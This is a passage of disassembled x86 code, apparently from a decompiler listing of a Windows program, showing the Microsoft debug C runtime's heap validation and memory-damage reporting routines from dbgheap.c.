3 ; Trap to Debugger loc_416139: ; CODE XREF: sub_4160E0+36j ; sub_4160E0+56j xor ecx, ecx test ecx, ecx jnz short loc_41610F loc_41613F: ; CODE XREF: sub_4160E0+2Dj push 9 call sub_41BC80 add esp, 4 mov [ebp+var_4], 0 loc_416150: ; CODE XREF: sub_4160E0+A5j mov edx, [ebp+arg_0] push edx call sub_416900 add esp, 4 test eax, eax jnz short loc_416181 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 push 4A9h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_416181 int 3 ; Trap to Debugger loc_416181: ; CODE XREF: sub_4160E0+7Ej ; sub_4160E0+9Ej xor eax, eax test eax, eax jnz short loc_416150 mov ecx, [ebp+arg_0] sub ecx, 20h mov [ebp+var_20], ecx loc_416190: ; CODE XREF: sub_4160E0+107j mov edx, [ebp+var_20] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_4161E3 mov ecx, [ebp+var_20] cmp dword ptr [ecx+14h], 1 jz short loc_4161E3 mov edx, [ebp+var_20] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_4161E3 mov ecx, [ebp+var_20] cmp dword ptr [ecx+14h], 3 jz short loc_4161E3 push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 4AFh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_4161E3 int 3 ; Trap to Debugger loc_4161E3: ; CODE XREF: sub_4160E0+BEj ; sub_4160E0+C7j ... xor edx, edx test edx, edx jnz short loc_416190 mov eax, [ebp+var_20] cmp dword ptr [eax+14h], 2 jnz short loc_4161FF cmp [ebp+arg_4], 1 jnz short loc_4161FF mov [ebp+arg_4], 2 loc_4161FF: ; CODE XREF: sub_4160E0+110j ; sub_4160E0+116j mov ecx, [ebp+var_20] cmp dword ptr [ecx+14h], 3 jz short loc_41623A loc_416208: ; CODE XREF: sub_4160E0+158j mov edx, [ebp+var_20] mov eax, [edx+14h] cmp eax, [ebp+arg_4] jz short loc_416234 push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse" push 0 push 4B6h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_416234 int 3 ; Trap to Debugger loc_416234: ; CODE XREF: sub_4160E0+131j ; sub_4160E0+151j xor ecx, ecx test ecx, ecx jnz short loc_416208 loc_41623A: ; CODE XREF: sub_4160E0+126j mov edx, [ebp+var_20] mov eax, [edx+10h] mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh call sub_416251 jmp short loc_41625C sub_4160E0 endp ; =============== S U B R O U T I N E ======================================= sub_416251 proc near ; CODE XREF: sub_4160E0+16Ap ; DATA XREF: .data:004348C8o push 9 call sub_41BD20 add esp, 4 retn sub_416251 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4160E0 loc_41625C: ; CODE XREF: sub_4160E0+16Fj mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4160E0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov eax, dword_444E78 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_444E78, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4348D0 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi push 9 call sub_41BC80 add esp, 4 mov dword ptr [ebp-4], 0 mov eax, [ebp+8] push eax call sub_416900 add esp, 4 test eax, eax jz short loc_41633F mov ecx, [ebp+8] sub ecx, 20h mov [ebp-1Ch], ecx loc_4162DD: ; CODE XREF: .data:00416334j mov edx, [ebp-1Ch] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_416330 mov ecx, [ebp-1Ch] cmp dword ptr [ecx+14h], 1 jz short loc_416330 mov edx, [ebp-1Ch] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_416330 mov ecx, [ebp-1Ch] cmp dword ptr [ecx+14h], 3 jz short loc_416330 push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 4FFh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_416330 int 3 ; Trap to Debugger loc_416330: ; CODE XREF: .data:004162EBj ; .data:004162F4j ... xor edx, edx test edx, edx jnz short loc_4162DD mov eax, [ebp-1Ch] mov ecx, [ebp+0Ch] mov [eax+14h], ecx loc_41633F: ; CODE XREF: .data:004162D2j mov dword ptr [ebp-4], 0FFFFFFFFh call sub_41634D jmp short loc_416358 ; =============== S U B R O U T I N E ======================================= sub_41634D proc near ; CODE XREF: .data:00416346p ; DATA XREF: .data:004348D8o push 9 call sub_41BD20 add esp, 4 retn sub_41634D endp ; --------------------------------------------------------------------------- loc_416358: ; CODE XREF: .data:0041634Bj mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, off_445240 mov [ebp-4], eax mov ecx, [ebp+8] mov off_445240, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416390 proc near ; CODE XREF: sub_415CD0+151p ; sub_415CD0+1B7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], 1 loc_41639E: ; CODE XREF: sub_416390:loc_41640Cj mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+arg_8], ecx test eax, eax jz short loc_41640E mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, [ebp+arg_4] and ecx, 0FFh mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx cmp eax, ecx jz short loc_41640C loc_4163CB: ; CODE XREF: sub_416390+73j mov eax, [ebp+arg_4] and eax, 0FFh push eax mov ecx, [ebp+arg_0] xor edx, edx mov dl, [ecx-1] push edx mov eax, [ebp+arg_0] sub eax, 1 push eax push offset aMemoryCheckErr ; "memory check error at 0x%08X = 0x%02X, "... push 0 push 0 push 0 push 0 call sub_41B010 add esp, 20h cmp eax, 1 jnz short loc_4163FF int 3 ; Trap to Debugger loc_4163FF: ; CODE XREF: sub_416390+6Cj xor ecx, ecx test ecx, ecx jnz short loc_4163CB mov [ebp+var_4], 0 loc_41640C: ; CODE XREF: sub_416390+39j jmp short loc_41639E ; --------------------------------------------------------------------------- loc_41640E: ; CODE XREF: sub_416390+1Cj mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_416390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416420 proc near ; CODE XREF: sub_4151D0:loc_4151ECp ; sub_415640:loc_4156A2p ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004167A0 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_434A58 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE0h push ebx push esi push edi mov eax, dword_444E70 and eax, 1 test eax, eax jnz short loc_416459 mov eax, 1 jmp loc_4167A3 ; --------------------------------------------------------------------------- loc_416459: ; CODE XREF: sub_416420+2Dj push 9 call sub_41BC80 add esp, 4 mov [ebp+var_4], 0 call sub_41C820 mov [ebp+var_24], eax cmp [ebp+var_24], 0FFFFFFFFh jz loc_41657E cmp [ebp+var_24], 0FFFFFFFEh jz loc_41657E mov ecx, [ebp+var_24] mov [ebp+var_30], ecx mov edx, [ebp+var_30] add edx, 6 mov [ebp+var_30], edx cmp [ebp+var_30], 3 ja loc_41654C mov eax, [ebp+var_30] jmp off_4167B4[eax*4] loc_4164A9: ; CODE XREF: sub_416420+ADj ; DATA XREF: .data:004167C0o push offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n" push offset aS_20 ; "%s" push 0 push 0 push 0 push 0 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_4164C9 int 3 ; Trap to Debugger loc_4164C9: ; CODE XREF: sub_416420+A6j xor ecx, ecx test ecx, ecx jnz short loc_4164A9 jmp loc_416572 ; --------------------------------------------------------------------------- loc_4164D4: ; CODE XREF: sub_416420+82j ; sub_416420+D8j ; DATA XREF: ... push offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n" push offset aS_20 ; "%s" push 0 push 0 push 0 push 0 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_4164F4 int 3 ; Trap to Debugger loc_4164F4: ; CODE XREF: sub_416420+D1j xor edx, edx test edx, edx jnz short loc_4164D4 jmp short loc_416572 ; --------------------------------------------------------------------------- loc_4164FC: ; CODE XREF: sub_416420+82j ; sub_416420+100j ; DATA XREF: ... push offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n" push offset aS_20 ; "%s" push 0 push 0 push 0 push 0 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_41651C int 3 ; Trap to Debugger loc_41651C: ; CODE XREF: sub_416420+F9j xor eax, eax test eax, eax jnz short loc_4164FC jmp short loc_416572 ; --------------------------------------------------------------------------- loc_416524: ; CODE XREF: sub_416420+82j ; sub_416420+128j ; DATA XREF: ... push offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n" push offset aS_20 ; "%s" push 0 push 0 push 0 push 0 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_416544 int 3 ; Trap to Debugger loc_416544: ; CODE XREF: sub_416420+121j xor ecx, ecx test ecx, ecx jnz short loc_416524 jmp short loc_416572 ; --------------------------------------------------------------------------- loc_41654C: ; CODE XREF: sub_416420+79j ; sub_416420+150j push offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"... push offset aS_20 ; "%s" push 0 push 0 push 0 push 0 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_41656C int 3 ; Trap to Debugger loc_41656C: ; CODE XREF: sub_416420+149j xor edx, edx test edx, edx jnz short loc_41654C loc_416572: ; CODE XREF: sub_416420+AFj ; sub_416420+DAj ... mov [ebp+var_1C], 0 jmp loc_416787 ; --------------------------------------------------------------------------- loc_41657E: ; CODE XREF: sub_416420+56j ; sub_416420+60j mov [ebp+var_1C], 1 mov eax, dword_4DDF74 mov [ebp+var_20], eax jmp short loc_416597 ; --------------------------------------------------------------------------- loc_41658F: ; CODE XREF: sub_416420:loc_416782j mov ecx, [ebp+var_20] mov edx, [ecx] mov [ebp+var_20], edx loc_416597: ; CODE XREF: sub_416420+16Dj cmp [ebp+var_20], 0 jz loc_416787 mov [ebp+var_28], 1 mov eax, [ebp+var_20] mov ecx, [eax+14h] and ecx, 0FFFFh cmp ecx, 4 jz short loc_4165DC mov edx, [ebp+var_20] cmp dword ptr [edx+14h], 1 jz short loc_4165DC mov eax, [ebp+var_20] mov ecx, [eax+14h] and ecx, 0FFFFh cmp ecx, 2 jz short loc_4165DC mov edx, [ebp+var_20] cmp dword ptr [edx+14h], 3 jnz short loc_4165F4 loc_4165DC: ; CODE XREF: sub_416420+197j ; sub_416420+1A0j ... mov eax, [ebp+var_20] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, off_444E80[ecx*4] mov [ebp+var_2C], edx jmp short loc_4165FB ; --------------------------------------------------------------------------- loc_4165F4: ; CODE XREF: sub_416420+1BAj mov [ebp+var_2C], offset aDamaged ; "DAMAGED" loc_4165FB: ; CODE XREF: sub_416420+1D2j push 4 mov al, byte_444E7C push eax mov ecx, [ebp+var_20] add ecx, 1Ch push ecx call sub_416390 add esp, 0Ch test eax, eax jnz short loc_416650 loc_416616: ; CODE XREF: sub_416420+227j mov edx, [ebp+var_20] add edx, 20h push edx mov eax, [ebp+var_20] mov ecx, [eax+18h] push ecx mov edx, [ebp+var_2C] push edx push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"... push 0 push 0 push 0 push 0 call sub_41B010 add esp, 20h cmp eax, 1 jnz short loc_416643 int 3 ; Trap to Debugger loc_416643: ; CODE XREF: sub_416420+220j xor eax, eax test eax, eax jnz short loc_416616 mov [ebp+var_28], 0 loc_416650: ; CODE XREF: sub_416420+1F4j push 4 mov cl, byte_444E7C push ecx mov edx, [ebp+var_20] mov eax, [edx+10h] mov ecx, [ebp+var_20] lea edx, [ecx+eax+20h] push edx call sub_416390 add esp, 0Ch test eax, eax jnz short loc_4166AD loc_416673: ; CODE XREF: sub_416420+284j mov eax, [ebp+var_20] add eax, 20h push eax mov ecx, [ebp+var_20] mov edx, [ecx+18h] push edx mov eax, [ebp+var_2C] push eax push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"... push 0 push 0 push 0 push 0 call sub_41B010 add esp, 20h cmp eax, 1 jnz short loc_4166A0 int 3 ; Trap to Debugger loc_4166A0: ; CODE XREF: sub_416420+27Dj xor ecx, ecx test ecx, ecx jnz short loc_416673 mov [ebp+var_28], 0 loc_4166AD: ; CODE XREF: sub_416420+251j mov edx, [ebp+var_20] cmp dword ptr [edx+14h], 0 jnz short loc_416706 mov eax, [ebp+var_20] mov ecx, [eax+10h] push ecx mov dl, byte_444E7D push edx mov eax, [ebp+var_20] add eax, 20h push eax call sub_416390 add esp, 0Ch test eax, eax jnz short loc_416706 loc_4166D7: ; CODE XREF: sub_416420+2DDj mov ecx, [ebp+var_20] add ecx, 20h push ecx push offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."... push 0 push 0 push 0 push 0 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_4166F9 int 3 ; Trap to Debugger loc_4166F9: ; CODE XREF: sub_416420+2D6j xor edx, edx test edx, edx jnz short loc_4166D7 mov [ebp+var_28], 0 loc_416706: ; CODE XREF: sub_416420+294j ; sub_416420+2B5j cmp [ebp+var_28], 0 jnz short loc_416782 mov eax, [ebp+var_20] cmp dword ptr [eax+8], 0 jz short loc_416748 loc_416715: ; CODE XREF: sub_416420+326j mov ecx, [ebp+var_20] mov edx, [ecx+0Ch] push edx mov eax, [ebp+var_20] mov ecx, [eax+8] push ecx mov edx, [ebp+var_2C] push edx push offset aHsAllocatedAtF ; "%hs allocated at file %hs(%d).\n" push 0 push 0 push 0 push 0 call sub_41B010 add esp, 20h cmp eax, 1 jnz short loc_416742 int 3 ; Trap to Debugger loc_416742: ; CODE XREF: sub_416420+31Fj xor eax, eax test eax, eax jnz short loc_416715 loc_416748: ; CODE XREF: sub_416420+2F3j ; sub_416420+359j mov ecx, [ebp+var_20] mov edx, [ecx+10h] push edx mov eax, [ebp+var_20] add eax, 20h push eax mov ecx, [ebp+var_2C] push ecx push offset aHsLocatedAt0x0 ; "%hs located at 0x%08X is %u bytes long."... push 0 push 0 push 0 push 0 call sub_41B010 add esp, 20h cmp eax, 1 jnz short loc_416775 int 3 ; Trap to Debugger loc_416775: ; CODE XREF: sub_416420+352j xor edx, edx test edx, edx jnz short loc_416748 mov [ebp+var_1C], 0 loc_416782: ; CODE XREF: sub_416420+2EAj jmp loc_41658F ; --------------------------------------------------------------------------- loc_416787: ; CODE XREF: sub_416420+159j ; sub_416420+17Bj mov [ebp+var_4], 0FFFFFFFFh call sub_416795 jmp short loc_4167A0 sub_416420 endp ; =============== S U B R O U T I N E ======================================= sub_416795 proc near ; CODE XREF: sub_416420+36Ep ; DATA XREF: .data:00434A60o push 9 call sub_41BD20 add esp, 4 retn sub_416795 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_416420 loc_4167A0: ; CODE XREF: sub_416420+373j mov eax, [ebp+var_1C] loc_4167A3: ; CODE XREF: sub_416420+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_416420 ; --------------------------------------------------------------------------- off_4167B4 dd offset loc_416524 ; DATA XREF: sub_416420+82r dd offset loc_4164FC dd offset loc_4164D4 dd offset loc_4164A9 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167D0 proc near ; CODE XREF: sub_417B70+A0p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_444E70 mov [ebp+var_4], eax cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_4167EB mov ecx, [ebp+arg_0] mov dword_444E70, ecx loc_4167EB: ; CODE XREF: sub_4167D0+10j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4167D0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_434A68 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi mov eax, dword_444E70 and eax, 1 test eax, eax jnz short loc_416831 jmp short loc_416898 ; --------------------------------------------------------------------------- loc_416831: ; CODE XREF: .data:0041682Dj push 9 call sub_41BC80 add esp, 4 mov dword ptr [ebp-4], 0 mov ecx, dword_4DDF74 mov [ebp-1Ch], ecx jmp short loc_416855 ; --------------------------------------------------------------------------- loc_41684D: ; CODE XREF: .data:loc_41687Dj mov edx, [ebp-1Ch] mov eax, [edx] mov [ebp-1Ch], eax loc_416855: ; CODE XREF: .data:0041684Bj cmp dword ptr [ebp-1Ch], 0 jz short loc_41687F mov ecx, [ebp-1Ch] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 4 jnz short loc_41687D mov eax, [ebp+0Ch] push eax mov ecx, [ebp-1Ch] add ecx, 20h push ecx call dword ptr [ebp+8] add esp, 8 loc_41687D: ; CODE XREF: .data:0041686Aj jmp short loc_41684D ; --------------------------------------------------------------------------- loc_41687F: ; CODE XREF: .data:00416859j mov dword ptr [ebp-4], 0FFFFFFFFh call sub_41688D jmp short loc_416898 ; =============== S U B R O U T I N E ======================================= sub_41688D proc near ; CODE XREF: .data:00416886p ; DATA XREF: .data:00434A70o push 9 call sub_41BD20 add esp, 4 retn sub_41688D endp ; --------------------------------------------------------------------------- loc_416898: ; CODE XREF: .data:0041682Fj ; .data:0041688Bj mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4168B0 proc near ; CODE XREF: sub_416900+1Ep ; .data:00416AC0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jz short loc_4168ED mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_4E0444 ; IsBadReadPtr test eax, eax jnz short loc_4168ED cmp [ebp+arg_8], 0 jz short loc_4168E4 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call dword_4E0440 ; IsBadWritePtr test eax, eax jnz short loc_4168ED loc_4168E4: ; CODE XREF: sub_4168B0+20j mov [ebp+var_4], 1 jmp short loc_4168F4 ; --------------------------------------------------------------------------- loc_4168ED: ; CODE XREF: sub_4168B0+8j ; sub_4168B0+1Aj ... mov [ebp+var_4], 0 loc_4168F4: ; CODE XREF: sub_4168B0+3Bj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4168B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416900 proc near ; CODE XREF: sub_415640+1AAp ; sub_415CD0+9Cp ... var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_0], 0 jnz short loc_416913 xor eax, eax jmp loc_416A20 ; --------------------------------------------------------------------------- loc_416913: ; CODE XREF: sub_416900+Aj push 1 push 20h mov eax, [ebp+arg_0] sub eax, 20h push eax call sub_4168B0 add esp, 0Ch test eax, eax jnz short loc_416931 xor eax, eax jmp loc_416A20 ; --------------------------------------------------------------------------- loc_416931: ; CODE XREF: sub_416900+28j cmp dword_4DE64C, 3 jnz short loc_41699E mov ecx, [ebp+arg_0] sub ecx, 20h push ecx call sub_41CAF0 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41696A mov edx, [ebp+arg_0] sub edx, 20h push edx mov eax, [ebp+var_4] push eax call sub_41CB50 add esp, 8 jmp loc_416A20 ; --------------------------------------------------------------------------- loc_41696A: ; CODE XREF: sub_416900+50j mov ecx, dword_4DDF84 and ecx, 8000h test ecx, ecx jz short loc_416984 mov eax, 1 jmp loc_416A20 ; --------------------------------------------------------------------------- loc_416984: ; CODE XREF: sub_416900+78j mov edx, [ebp+arg_0] sub edx, 20h push edx push 0 mov eax, dword_4DE648 push eax call dword_4E0448 ; HeapValidate jmp loc_416A20 ; --------------------------------------------------------------------------- loc_41699E: ; CODE XREF: sub_416900+38j cmp dword_4DE64C, 2 jnz short loc_416A0A lea ecx, [ebp+var_8] push ecx lea edx, [ebp+var_10] push edx mov eax, [ebp+arg_0] sub eax, 20h push eax call sub_41EB10 add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4169DD mov ecx, [ebp+var_C] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_4169D9 mov eax, 1 jmp short loc_416A20 ; --------------------------------------------------------------------------- loc_4169D9: ; CODE XREF: sub_416900+D0j xor eax, eax jmp short loc_416A20 ; --------------------------------------------------------------------------- loc_4169DD: ; CODE XREF: sub_416900+C5j mov eax, dword_4DDF84 and eax, 8000h test eax, eax jz short loc_4169F2 mov eax, 1 jmp short loc_416A20 ; --------------------------------------------------------------------------- loc_4169F2: ; CODE XREF: sub_416900+E9j mov ecx, [ebp+arg_0] sub ecx, 20h push ecx push 0 mov edx, dword_4DE648 push edx call dword_4E0448 ; HeapValidate jmp short loc_416A20 ; --------------------------------------------------------------------------- loc_416A0A: ; CODE XREF: sub_416900+A5j mov eax, [ebp+arg_0] sub eax, 20h push eax push 0 mov ecx, dword_4DE648 push ecx call dword_4E0448 ; HeapValidate loc_416A20: ; CODE XREF: sub_416900+Ej ; sub_416900+2Cj ... mov esp, ebp pop ebp retn sub_416900 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_434A78 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF0h push ebx push esi push edi mov eax, [ebp+8] push eax call sub_416900 add esp, 4 test eax, eax jnz short loc_416A6A xor eax, eax jmp loc_416B44 ; --------------------------------------------------------------------------- loc_416A6A: ; CODE XREF: .data:00416A61j push 9 call sub_41BC80 add esp, 4 mov dword ptr [ebp-4], 0 mov ecx, [ebp+8] sub ecx, 20h mov [ebp-1Ch], ecx mov edx, [ebp-1Ch] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_416AB6 mov ecx, [ebp-1Ch] cmp dword ptr [ecx+14h], 1 jz short loc_416AB6 mov edx, [ebp-1Ch] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_416AB6 mov ecx, [ebp-1Ch] cmp dword ptr [ecx+14h], 3 jnz short loc_416B21 loc_416AB6: ; CODE XREF: .data:00416A92j ; .data:00416A9Bj ... push 1 mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_4168B0 add esp, 0Ch test eax, eax jz short loc_416B21 mov ecx, [ebp-1Ch] mov edx, [ecx+10h] cmp edx, [ebp+0Ch] jnz short loc_416B21 mov eax, [ebp-1Ch] mov ecx, [eax+18h] cmp ecx, dword_444E74 jg short loc_416B21 cmp dword ptr [ebp+10h], 0 jz short loc_416AF6 mov edx, [ebp+10h] mov eax, [ebp-1Ch] mov ecx, [eax+18h] mov [edx], ecx loc_416AF6: ; CODE XREF: .data:00416AE9j cmp dword ptr [ebp+14h], 0 jz short loc_416B07 mov edx, [ebp+14h] mov eax, [ebp-1Ch] mov ecx, [eax+8] mov [edx], ecx loc_416B07: ; CODE XREF: .data:00416AFAj cmp dword ptr [ebp+18h], 0 jz short loc_416B18 mov edx, [ebp+18h] mov eax, [ebp-1Ch] mov ecx, [eax+0Ch] mov [edx], ecx loc_416B18: ; CODE XREF: .data:00416B0Bj mov dword ptr [ebp-20h], 1 jmp short loc_416B28 ; --------------------------------------------------------------------------- loc_416B21: ; CODE XREF: .data:00416AB4j ; .data:00416ACAj ... mov dword ptr [ebp-20h], 0 loc_416B28: ; CODE XREF: .data:00416B1Fj mov dword ptr [ebp-4], 0FFFFFFFFh call sub_416B36 jmp short loc_416B41 ; =============== S U B R O U T I N E ======================================= sub_416B36 proc near ; CODE XREF: .data:00416B2Fp ; DATA XREF: .data:00434A80o push 9 call sub_41BD20 add esp, 4 retn sub_416B36 endp ; --------------------------------------------------------------------------- loc_416B41: ; CODE XREF: .data:00416B34j mov eax, [ebp-20h] loc_416B44: ; CODE XREF: .data:00416A65j mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, dword_4DF698 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4DF698, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B80 proc near ; CODE XREF: sub_417280+Dp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00416D13 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_434AD0 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF0h push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_416BD4 loc_416BA9: ; CODE XREF: sub_416B80+4Dj push offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state pointer.\n"... push offset aS_20 ; "%s" push 0 push 0 push 0 push 0 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_416BC9 int 3 ; Trap to Debugger loc_416BC9: ; CODE XREF: sub_416B80+46j xor eax, eax test eax, eax jnz short loc_416BA9 jmp loc_416D13 ; --------------------------------------------------------------------------- loc_416BD4: ; CODE XREF: sub_416B80+27j push 9 call sub_41BC80 add esp, 4 mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] mov edx, dword_4DDF74 mov [ecx], edx mov [ebp+var_1C], 0 jmp short loc_416C02 ; --------------------------------------------------------------------------- loc_416BF9: ; CODE XREF: sub_416B80+A4j mov eax, [ebp+var_1C] add eax, 1 mov [ebp+var_1C], eax loc_416C02: ; CODE XREF: sub_416B80+77j cmp [ebp+var_1C], 5 jge short loc_416C26 mov ecx, [ebp+var_1C] mov edx, [ebp+arg_0] mov dword ptr [edx+ecx*4+18h], 0 mov eax, [ebp+var_1C] mov ecx, [ebp+arg_0] mov dword ptr [ecx+eax*4+4], 0 jmp short loc_416BF9 ; --------------------------------------------------------------------------- loc_416C26: ; CODE XREF: sub_416B80+86j mov edx, dword_4DDF74 mov [ebp+var_20], edx jmp short loc_416C39 ; --------------------------------------------------------------------------- loc_416C31: ; CODE XREF: sub_416B80:loc_416CDDj mov eax, [ebp+var_20] mov ecx, [eax] mov [ebp+var_20], ecx loc_416C39: ; CODE XREF: sub_416B80+AFj cmp [ebp+var_20], 0 jz loc_416CE2 mov edx, [ebp+var_20] mov eax, [edx+14h] and eax, 0FFFFh test eax, eax jl short loc_416CB8 mov ecx, [ebp+var_20] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 5 jge short loc_416CB8 mov eax, [ebp+var_20] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, [ebp+arg_0] mov eax, [edx+ecx*4+4] add eax, 1 mov ecx, [ebp+var_20] mov edx, [ecx+14h] and edx, 0FFFFh mov ecx, [ebp+arg_0] mov [ecx+edx*4+4], eax mov edx, [ebp+var_20] mov eax, [edx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4+18h] mov eax, [ebp+var_20] add edx, [eax+10h] mov ecx, [ebp+var_20] mov eax, [ecx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov [ecx+eax*4+18h], edx jmp short loc_416CDD ; --------------------------------------------------------------------------- loc_416CB8: ; CODE XREF: sub_416B80+D0j ; sub_416B80+E1j ... mov edx, [ebp+var_20] push edx push offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n" push 0 push 0 push 0 push 0 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_416CD7 int 3 ; Trap to Debugger loc_416CD7: ; CODE XREF: sub_416B80+154j xor eax, eax test eax, eax jnz short loc_416CB8 loc_416CDD: ; CODE XREF: sub_416B80+136j jmp loc_416C31 ; --------------------------------------------------------------------------- loc_416CE2: 